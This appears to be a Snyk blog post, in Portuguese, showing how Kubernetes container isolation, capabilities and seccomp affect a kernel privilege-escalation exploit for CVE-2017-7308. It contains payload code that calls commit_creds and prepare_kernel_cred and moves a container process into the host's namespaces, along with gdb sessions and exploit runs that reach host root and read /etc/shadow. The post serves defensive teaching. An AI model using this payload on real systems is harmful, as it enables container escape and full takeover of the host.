Skip to main content

Escalonamento de privilégios no kernel: como o isolamento de contêineres do Kubernetes afeta esses ataques

Escrito por
Headshot of Kamil Potrec

Kamil Potrec

3 de dezembro de 2020

0 minutos de leitura

Durante o dia, passo meu tempo analisando código Terraform, arquivos de configuração de objetos do Kubernetes e identificando problemas de segurança comuns. Quando o sol se põe, visto meu moletom com capuz, inicio máquinas virtuais Linux e depuradores para investigar as tecnologias que compõem o ecossistema cloud native.

Neste post, vamos explorar como o isolamento de contêineres do Kubernetes afeta os ataques de escalonamento de privilégios. Usaremos técnicas comuns de exploração do kernel para entender como as camadas de abstração dos contêineres podem dificultar o caminho até o tão desejado shell de root.

O que é escalonamento de privilégios?

Escalonamento de privilégios é o termo usado para descrever o processo de obtenção de permissões adicionais para acessar um recurso. O escalonamento de privilégios no kernel é o processo de obter essas permissões explorando uma vulnerabilidade em um dos vários pontos de entrada do kernel, também chamados de vetores de ataque. Um vetor de ataque é simplesmente um caminho que dá acesso ao código vulnerável.

Interagimos com o kernel de várias maneiras: lendo o sistema de arquivos, abrindo um arquivo de dispositivo, emitindo chamadas de sistema ou enviando um pacote pela interface de rede. Todas essas ações exigem que algum processo ocorra no espaço do kernel. Quando o kernel executa uma ação em nome de um processo do usuário, dizemos que ele opera em um contexto de processo. Cada processo é representado no kernel por uma estrutura struct task_struct. Essas estruturas são armazenadas em uma lista circular duplamente ligada e acessadas por variáveis PER_CPU na arquitetura x86-64 quando ocorre uma troca de contexto entre o espaço do usuário e o espaço do kernel.

Uma task_struct contém um membro struct creds, que armazena o identificador do usuário e os recursos associados ao processo. O kernel usa essas informações para determinar se o processo pode executar uma ação — por exemplo, se tem permissão para executar uma chamada de sistema específica. Em geral, o objetivo do escalonamento de privilégios no kernel é substituir ou atualizar a estrutura de credenciais para obter mais permissões.

Como funciona o escalonamento de privilégios?

A técnica mais comum para obter permissões elevadas no espaço do kernel é usar a combinação das funções do kernel [commit_creds](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L437)([prepare_kernel_cred(0)](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L682)). Isso só é possível depois que uma exploração obtém o controle do ponteiro de instrução (RIP) e consegue contornar os controles de acesso à memória e de randomização. [prepare_kernel_cred](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L682) pode gerar um objeto de credenciais com base em um já existente ou, de forma mais generosa, criar um padrão com todas as permissões de root. [commit_creds](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L437) simplesmente atualiza a task_struct do processo atual com o novo objeto de credenciais.

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
   ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
       ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
   );
}

A exploração do kernel é um campo muito amplo. Por isso, neste post vamos analisar apenas uma versão bastante simplificada do escalonamento de privilégios no kernel. O kernel conta com diversos controles de segurança criados para dificultar a exploração. SMEP, SMAP, KASLR e KPTI são mecanismos implementados no hardware ou no kernel, que podem ser ativados ou desativados pela distribuição usada ou por um administrador do sistema. Não há uma maneira direta de controlar essas configurações pelo Kubernetes; por isso, elas não serão abordadas neste post.

Vamos usar uma vulnerabilidade antiga na implementação de af_packet, identificada como CVE-2017-7308. A vulnerabilidade pode ser explorada com o recurso CAP_NET_RAW, pois exige acesso a sockets brutos. Os detalhes da vulnerabilidade estão explicados em profundidade aqui, então não vamos nos aprofundar neles. Podemos obter todos os recursos necessários em um namespace de usuário sem privilégios. Na distribuição Ubuntu, o acesso a namespaces de usuário not é restrito por padrão.

dev@node1:~/exploit$ grep CONFIG_USER_NS /boot/config-4.15.0-122-generic
CONFIG_USER_NS=y
dev@node1:~/exploit$ sudo sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
dev@node1:~/exploit$

Vamos ao que interessa

Primeiro, vamos analisar o processo de ponta a ponta em um ambiente sem contêineres.

Precisamos conectar o GNU Debugger (gdb) ao stub da máquina virtual. Depois de conectar o depurador, podemos definir um breakpoint em um ponto conveniente. Neste caso, usamos uma chamada de sistema mlock, que podemos acionar manualmente pela exploração sempre que quisermos observar o estado interno do processo em execução. O gdb só vai parar se o processo em execução se chamar “exploit”. Isso reduz o risco de o breakpoint ser acionado por outro processo do sistema. As tarefas de configuração estão convenientemente automatizadas em um arquivo de comandos .gdb. Executamos o GDB com a flag -x para fazer a configuração de forma consistente e reproduzível.

dev@pwnbox:/$ cat setup.gdb
set print pretty on
file vmlinux
target remote 127.0.0.1:11234
break sys_mlock if $_streq($lx_current().comm, "exploit")
continue
dev@pwnbox:/$ gdb -q -x setup.gdb
0xffffffff819c24be in native_safe_halt () at ./arch/x86/include/asm/irqflags.h:61
61  }
Breakpoint 1 at 0xffffffff8121da50: file mm/mlock.c, line 709.

Os breakpoints serão acionados antes da criação do namespace de usuário sem privilégios, imediatamente antes da execução da vulnerabilidade e depois de obtermos credenciais de root. Para implementar esse comportamento, basta executar a chamada de sistema correta.

syscall(149, 0, 0); // Break before CLONE_NEWUSER
if (unshare(CLONE_NEWUSER) != 0) {
   perror("[-] unshare(CLONE_NEWUSER)");
   exit(EXIT_FAILURE);
}
/* OMITTED */printf("[*] executing get root payload %p\n", &get_root_payload);
syscall(149, 0, 0); // Break before commit_creds
exploit_cve_2017_7308((void *)&get_root_payload);
printf("[*] done\n");
syscall(149, 0, 0); // Break after commit_creds

Agora, podemos executar a exploração:

dev@node1:~/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x558abc4dd583

Nosso primeiro breakpoint é acionado como esperado. Podemos examinar a estrutura cred executando a função auxiliar do gdb $lx_current. O UID efetivo do processo atual é 1000 e, como esperado, ele não tem recursos efetivos no namespace atual.

Thread 6 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$1 = {
 usage = {counter = 4},
 uid = { val = 1000 },
 gid = { val = 1000 },
 suid = { val = 1000 },
 sgid = { val = 1000 },
 euid = { val = 1000 },
 egid = { val = 1000 },
 fsuid = { val = 1000 },
 fsgid = { val = 1000 },
 securebits = 0,
 cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {0, 0} },
 cap_effective = { cap = {0, 0} },
 cap_bset = { cap = {4294967295, 63} },
 cap_ambient = { cap = {0, 0} },
 jit_keyring = 0 '\000',
 session_keyring = 0xffff888331051f00,
 process_keyring = 0x0 <irq_stack_union>,
 thread_keyring = 0x0 <irq_stack_union>,
 request_key_auth = 0x0 <irq_stack_union>,
 security = 0xffff8882bb29dd60,
 user = 0xffff88832dd89f00,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 group_info = 0xffff8882b9181480,
 {
   non_rcu = 0,
   rcu = {
     next = 0x0 <irq_stack_union>,
     func = 0x0 <irq_stack_union>
   }
 }
}
(gdb)

O segundo breakpoint é acionado após uma chamada a unshare, que cria um novo namespace de usuário para o processo. Observe que o UID não muda, mas os atributos cap_effective e user_ns mudam. Os recursos são armazenados como uma máscara de bits, mais fácil de ler no formato hexadecimal.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$2 = {
 /* OMITTED */ uid = { val = 1000 },
 gid = { val = 1000 },
 /* OMITTED */ euid = { val = 1000 },
 /* OMITTED */ cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {4294967295, 63} },
 cap_effective = { cap = {4294967295, 63} },
 /* OMITTED */ user = 0xffff88832dd89f00,
 user_ns = 0xffff8882c1e0b800,
 /* OMITTED */}
(gdb) p/x 4294967295
$4 = 0xffffffff 
(gdb)

Nosso último breakpoint é acionado depois que a vulnerabilidade é explorada. Observe que o UID agora é 0 e o namespace de usuário é redefinido para init_user_ns, que representa o namespace de usuário init do host.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$3 = {
 /* OMITTED */ uid = { val = 0 },
 /* OMITTED */ 
 euid = { val = 0 },
 /* OMITTED */ cap_effective = { cap = {4294967295, 63} },
 /* OMITTED */ user = 0xffffffff82454160 <root_user>,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 group_info = 0xffffffff8245b568 <init_groups>,
 /* OMITTED */ }

O shell retorna e agora temos permissões de root completas no host.

dev@node1:~/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x558abc4dd583
[*] done
[+] got r00t
root@node1:/home/dev/exploit# id
uid=0(root) gid=0(root) groups=0(root)
root@node1:/home/dev/exploit#

Exploração do kernel em um contêiner

Em seguida, vamos tentar executar a mesma exploração dentro de um pod. Criamos uma definição simples de objeto pod e a implantamos no cluster.

apiVersion: v1
kind: Pod
metadata:
 name: very-default-pod
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     command: [ "sleep", "infinity" ]

Vamos ver o que acontece na configuração padrão.

dev@pwnbox:/$ kubectl get nodes
NAME    STATUS   ROLES    AGE   VERSION
node1   Ready    master   8d    v1.18.10
dev@pwnbox:/$ kubectl get pods
No resources found in default namespace.
dev@pwnbox:/$ kubectl apply -f very-default-pod.yaml
pod/test created
dev@pwnbox:/$ kubectl get pods
NAME   READY   STATUS    RESTARTS   AGE
test   1/1     Running   0          4s
dev@pwnbox:/$ kubectl exec -it test -- /bin/bash
root@test:~# id
uid=0(root) gid=0(root) groups=0(root)

Root por padrão

A imagem usada na demonstração não especifica um usuário sem privilégios e, por padrão, o Kubernetes não impõe um UID. Portanto, parece que já tínhamos acesso de root sem precisar explorar o kernel. Vamos executar a mesma exploração novamente e interromper o kernel pouco antes de ele seguir o caminho vulnerável. Ao analisar os recursos efetivos do processo, fica claro que alguns estão faltando. O valor é 2818844155, que representa o conjunto padrão de recursos concedido pelo runtime do Docker.

(gdb) p *($lx_current().cred)
$1 = {
 /* OMITTED */ euid = { val = 0 },
 /* OMITTED */ securebits = 0,
 cap_inheritable = { cap = {2818844155, 0} },
 cap_permitted = { cap = {2818844155, 0} },
 cap_effective = { cap = {2818844155, 0} },
 cap_bset = { cap = {2818844155, 0} },
 cap_ambient = { cap = {0, 0} },
 /* OMITTED */ 
 user = 0xffffffff82454160 <root_user>,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 /* OMITTED */ }

Depois que a exploração termina, o conjunto efetivo volta a incluir todos os recursos.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$2 = {
 /* OMITTED */ securebits = 0,
 cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {4294967295, 63} },
 cap_effective = { cap = {4294967295, 63} },
 cap_bset = { cap = {4294967295, 63} },
 /* OMITTED */}

Desta vez, vamos impor um ID de usuário sem privilégios ao contêiner, definindo os atributos de contexto de segurança runAs.

apiVersion: v1
kind: Pod
metadata:
 name: non-root-pod
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     securityContext:
       runAsUser: 1000
       runAsGroup: 1000
     command: [ "sleep", "infinity" ]

Desta vez, não temos permissões de root por padrão. No entanto, a exploração funciona da mesma forma, com uma diferença importante no resultado final. Parece que temos todas as permissões, mas não conseguimos ver tudo no sistema.

dev@pwnbox:/$ kubectl apply -f non-root-uid-pod.yaml
pod/test created
dev@pwnbox:/$ kubectl exec -it test -- /bin/bash
groups: cannot find name for group ID 1000
I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x55e55ff5a583
[*] done
[+] got r00t
root@test:/mnt/dev/exploit# id
uid=0(root) gid=0(root) groups=0(root)
root@test:/mnt/dev/exploit# cat /etc/shadow
root:*:18198:0:99999:7:::
daemon:*:18198:0:99999:7:::
bin:*:18198:0:99999:7:::
sys:*:18198:0:99999:7:::
sync:*:18198:0:99999:7:::
games:*:18198:0:99999:7:::
man:*:18198:0:99999:7:::
lp:*:18198:0:99999:7:::
mail:*:18198:0:99999:7:::
news:*:18198:0:99999:7:::
uucp:*:18198:0:99999:7:::
proxy:*:18198:0:99999:7:::
www-data:*:18198:0:99999:7:::
backup:*:18198:0:99999:7:::
list:*:18198:0:99999:7:::
irc:*:18198:0:99999:7:::
gnats:*:18198:0:99999:7:::
nobody:*:18198:0:99999:7:::
_apt:*:18198:0:99999:7:::
messagebus:*:18207:0:99999:7:::
root@test:/mnt/dev/exploit# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host
      valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
   link/ipip 0.0.0.0 brd 0.0.0.0
root@test:/mnt/dev/exploit#

A jaula dos namespaces

Conseguimos obter todos os recursos e o UID de root, mas só contornamos a barreira de recursos do contêiner. Ainda não temos acesso ao sistema de arquivos do host, então não podemos ver todos os processos nem nos comunicar pelas interfaces de rede do host.

root@test:~# ls -la /dev/
total 4
drwxr-xr-x 5 root root  360 Nov 23 14:04 .
drwxr-xr-x 1 root root 4096 Nov 23 14:04 ..
lrwxrwxrwx 1 root root   11 Nov 23 14:04 core -> /proc/kcore
lrwxrwxrwx 1 root root   13 Nov 23 14:04 fd -> /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Nov 23 14:04 full
drwxrwxrwt 2 root root   40 Nov 23 14:04 mqueue
crw-rw-rw- 1 root root 1, 3 Nov 23 14:04 null
lrwxrwxrwx 1 root root    8 Nov 23 14:04 ptmx -> pts/ptmx
drwxr-xr-x 2 root root    0 Nov 23 14:04 pts
crw-rw-rw- 1 root root 1, 8 Nov 23 14:04 random
drwxrwxrwt 2 root root   40 Nov 23 14:04 shm
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stdout -> /proc/self/fd/1
-rw-rw-rw- 1 root root    0 Nov 23 14:04 termination-log
crw-rw-rw- 1 root root 5, 0 Nov 23 14:04 tty
crw-rw-rw- 1 root root 1, 9 Nov 23 14:04 urandom
crw-rw-rw- 1 root root 1, 5 Nov 23 14:04 zero
root@test:~# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   4532   752 ?        Ss   14:04   0:00 sleep infinity
root         7  0.0  0.0  18504  3352 pts/0    Ss   14:04   0:00 /bin/bash
root        24  0.0  0.0  34400  2776 pts/0    R+   14:04   0:00 ps aux
root@test:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
   link/ipip 0.0.0.0 brd 0.0.0.0
4: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
   link/ether 4e:52:2c:19:28:37 brd ff:ff:ff:ff:ff:ff link-netnsid 0
   inet 10.233.90.139/32 scope global eth0
      valid_lft forever preferred_lft forever
root@test:~#

Neste ponto, podemos carregar os módulos de kernel que quisermos, mas isso gera muito ruído e acionará a maioria dos sistemas básicos de detecção de intrusão — pelo menos, é o que se espera. Para testar isso, vamos remover um módulo não utilizado. Observe que a imagem Docker precisa ter os pacotes de módulos instalados. No caso de imagens Debian, será necessário instalar o pacote kmod.

root@test:/mnt/dev/exploit# lsmod
Module                  Size  Used by
i2c_piix4              24576  0
binfmt_misc            20480  1
xt_CT                  16384  8
xt_tcpudp              16384  12
/* OMITTED */pata_acpi              16384  0
floppy                 77824  0
root@test:/mnt/dev/exploit# rmmod i2c_piix4
root@test:/mnt/dev/exploit# lsmod | grep i2c
root@test:/mnt/dev/exploit#

Em vez disso, podemos ampliar nossa exploração do kernel e definir o objeto [struct nsproxy](https://github.com/torvalds/linux/blob/master/include/linux/nsproxy.h#L31) no contexto atual para apontar para os namespaces que quisermos. Os namespaces são identificados por inodes, mas o kernel exporta o endereço de [init_nsproxy](https://github.com/torvalds/linux/blob/master/kernel/nsproxy.c#L32), que podemos usar para copiar os namespaces init do host para o nosso contêiner.

(gdb) info address init_nsproxy
Symbol "init_nsproxy" is static storage at address 0xffffffff8245b2a0.
(gdb

A chamada de sistema sys_setns pode atualizar os namespaces do contexto do processo. Há três namespaces principais para os quais queremos escalar privilégios: PID, rede e montagem. Primeiro, precisamos obter uma referência aos namespaces de root. Para isso, podemos mover o PID 1 do contêiner para os namespaces do host. Em seguida, podemos obter referências a qualquer namespace pelo sistema de arquivos /proc/ do PID 1. Por fim, movemos o processo atual para os namespaces necessários.

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef unsigned long long __attribute__((regparm(3))) (* _find_task_by_vpid)(unsigned int vnr);
typedef void __attribute__((regparm(3))) (* _switch_task_namespaces)(void *tsk, void *new);
typedef long __attribute__((regparm(4))) (* _do_sys_open)(int fd, const char *filename, int flags, unsigned short mode);
typedef long __attribute__((regparm(3))) (* _sys_setns)(int fd, int nstype);

void get_root_payload(void) {
   ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
       ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
   );
   // [1] - Identify PID 1 task in current PID namespace
   unsigned long long task = ((_find_task_by_vpid)(KERNEL_BASE + FIND_TASK_BY_VPID))(1);
   // [2] - Move PID 1 into init namespaces
   ((_switch_task_namespaces)(KERNEL_BASE + SWITCH_TASK_NS))((void *)task, (void *)(KERNEL_BASE + INIT_NSPROXY));
   // [3] - Read mount namespace inode
   long fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
   // [4] - Move current process into host’s mount namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
   // [5] - Read pid namespace inode
   fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
   // [6] - Move current process into host’s pid namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
   // [7] - Read network namespace inode
   fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/net", O_RDONLY, 0);
   // [8] - Move current process into host’s network namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
}

Depois de executar nossa exploração, podemos acessar todos os recursos interessantes do sistema.

I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ id
uid=1000 gid=1000 groups=1000
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x559f462d7583
[*] done
[+] got r00t
root@test:/# id
uid=0(root) gid=0(root) groups=0(root)root@test:/# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.2  0.0 226012  9556 ?        Ss   14:30   0:02 /sbin/init nokaslr nopti
root         2  0.0  0.0      0     0 ?        S    14:30   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I    14:30   0:00 [kworker/0:0]
root         4  0.0  0.0      0     0 ?        I<   14:30   0:00 [kworker/0:0H]
root         6  0.0  0.0      0     0 ?        I<   14:30   0:00 [mm_percpu_wq]
/* OMITTED */dev      18468  0.0  0.0   4532   724 ?        Ss   14:44   0:00 sleep infinity
dev      18642  0.0  0.0  18508  3360 pts/0    Ss   14:44   0:00 /bin/bash
root     19762  0.2  0.0   4516   752 pts/0    S    14:45   0:00 ./exploit
root     19767  0.0  0.0  18516  3412 pts/0    S    14:45   0:00 /bin/bash -i
root     19803  0.0  0.0  36708  3172 pts/0    R+   14:45   0:00 ps aux
root@test:/# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 52:54:00:8a:6e:73 brd ff:ff:ff:ff:ff:ff
   inet 10.100.100.80/24 brd 10.100.100.255 scope global dynamic ens3
      valid_lft 2704sec preferred_lft 2704sec
   inet6 fe80::5054:ff:fe8a:6e73/64 scope link
      valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
   link/ether 02:42:00:d6:f9:0a brd ff:ff:ff:ff:ff:ff
   inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
      valid_lft forever preferred_lft forever
4: kube-ipvs0: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN group default
   link/ether 76:17:6a:aa:ea:9e brd ff:ff:ff:ff:ff:ff
   inet 10.233.59.218/32 brd 10.233.59.218 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.0.1/32 brd 10.233.0.1 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.0.3/32 brd 10.233.0.3 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.17.50/32 brd 10.233.17.50 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
/* OMITTED */14: cali1037a54e65e@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
   link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 0
   inet6 fe80::ecee:eeff:feee:eeee/64 scope link
      valid_lft forever preferred_lft forever
root@test:/#
root@test:/# reboot
Failed to connect to bus: No data available

Uso dos recursos

Os recursos padrão atribuídos aos contêineres do Kubernetes (com o runtime do Docker) incluem CAP_NET_RAW. Isso significa que conseguiríamos explorar a vulnerabilidade mesmo com os namespaces de usuário sem privilégios desativados? Adicionamos código para definir os recursos efetivos necessários para alcançar o código vulnerável.

cap_t caps;
caps = cap_get_proc();
if (caps == NULL){
   perror("[-] Failed to get current caps\n");
   exit(EXIT_FAILURE);
}
cap_value_t cap_list[1];
cap_list[0] = CAP_NET_RAW;
if(cap_set_flag(caps, CAP_EFFECTIVE, 1, cap_list, CAP_SET) == -1){
   perror("[-] Failed to set effective caps\n");
   exit(EXIT_FAILURE);
}
if(cap_set_proc(caps) != 0){
   perror("[-] Failed to set process cpas\n");
   exit(EXIT_FAILURE);
}

Como você pode ver, a exploração falha. Mas por quê?

I have no name!@test:/root$ id
uid=1000 gid=1000 groups=1000
I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[-] unshare(CLONE_NEWUSER): Operation not permitted
I have no name!@test:/mnt/dev/exploit$

Isso tem a ver com recursos herdáveis e a forma como são implementados. Embora o runtime do contêiner tenha concedido esses recursos aos processos no contêiner, é preciso defini-los explicitamente como efetivos usando sys_capset. No momento, apenas processos com UID 0 podem definir recursos efetivos. Portanto, se você quiser executar como um usuário sem privilégios e ainda acessar alguns recursos, precisará incluir um binário suid no contêiner para definir os recursos efetivos. Como alternativa, basta definir os recursos necessários no executável e remover os recursos do contêiner. Os recursos de arquivo são limitados a sistemas de arquivos com atributos estendidos.

Seccomp ao resgate

Agora, vamos falar sobre a acessibilidade dos vetores de ataque. Nossa exploração funciona porque usuários sem privilégios podem obter o recurso CAP_NET_RAW em namespaces de usuário sem privilégios. Vimos o impacto disso na exploração na discussão acima sobre recursos. Há mais uma contramedida que podemos usar para impedir esse ataque — e sim, você pode ativá-la pelo Kubernetes.

O Seccomp é um mecanismo que pode reduzir a superfície de ataque do kernel filtrando chamadas de sistema. Infelizmente, por padrão, o Kubernetes não aplica um perfil seccomp ao contêiner. Isso significa que todas as chamadas de sistema são permitidas, sujeitas às verificações de permissões já mencionadas. Podemos mudar isso adicionando uma anotação à declaração do objeto (antes da versão 1.19) ou incluindo o atributo do perfil seccomp no contexto de segurança do pod.

apiVersion: v1
kind: Pod
metadata:
 name: seccomp-pod
 annotations:
   seccomp.security.alpha.kubernetes.io/pod: runtime/default
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     command: [ "sleep", "infinity" ]

Vamos ver como o perfil padrão fornecido pelo runtime do contêiner (neste caso, o Docker) afeta nossa exploração. Recebemos o erro “Operation not permitted” porque o perfil seccomp padrão não permite a chamada de sistema unshare.

I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[-] unshare(CLONE_NEWUSER): Operation not permitted
I have no name!@test:/mnt/dev/exploit$

O Seccomp é ótimo para limitar pontos de entrada desnecessários no kernel. Chamadas de sistema como unshare ou userfaultfd podem ser desativadas com segurança na maioria dos casos de uso e ajudam a impedir algumas técnicas de exploração. Mas algumas chamadas são difíceis de bloquear, como waitid. Você encontra essas e outras técnicas para explorar contêineres aqui.

Conclusões

Conseguimos impedir essa exploração com um perfil seccomp padrão. Como você pode ver, embora nosso sistema operacional esteja vulnerável, o caminho de exploração não pode ser acessado a partir do nosso contêiner (neste caso). Essa técnica pode dar a você o tempo necessário para planejar a tão necessária atualização do sistema operacional! Considere essas medidas como controles de defesa em profundidade e estratégias de mitigação.

Mantenha sempre seus sistemas atualizados! Snyk Infrastructure as Code ajuda você a identificar essas opções de mitigação logo no início do pipeline de CI/CD, muito antes de qualquer coisa ser implantada em produção. Usamos técnicas adversariais para identificar opções de segurança de alto impacto no Kubernetes e em provedores de serviços de nuvem. Use o Snyk gratuitamente: crie uma conta grátis.

Comece a participar de desafios de Capture the Flag

Aprenda a resolver desafios de Capture the Flag assistindo sob demanda ao nosso workshop virtual introdutório.

Leia mais

feature insights announcement
Blog

Comprometimento da cadeia de suprimentos do node-gyp: um worm npm que se autopropaga e se esconde em binding.gyp

Um novo worm do npm está explorando binding.gyp para acionar o node-gyp durante a instalação, permitindo que pacotes maliciosos executem código sem scripts de ciclo de vida. Ele rouba credenciais, mantém persistência no GitHub e se propaga entre contas de mantenedores.

Article

Versões maliciosas de node-ipc publicadas no npm após suspeita de comprometimento da conta de um mantenedor

Em 14 de maio de 2026, várias versões maliciosas do popular pacote npm node-ipc foram publicadas no registro do npm. As informações públicas disponíveis identificam node...

blog feature toolkit
Blog

Versão maliciosa do pacote elementary-data no PyPI rouba credenciais de nuvem de engenheiros de dados

Atacantes exploraram uma vulnerabilidade de injeção de script no GitHub Actions para publicar uma versão maliciosa da CLI Python elementary-data (v0.23.3), com um backdoor que rouba credenciais e tinha como alvo perfis do dbt, chaves de provedores de nuvem e segredos SSH em ambientes de engenharia de dados.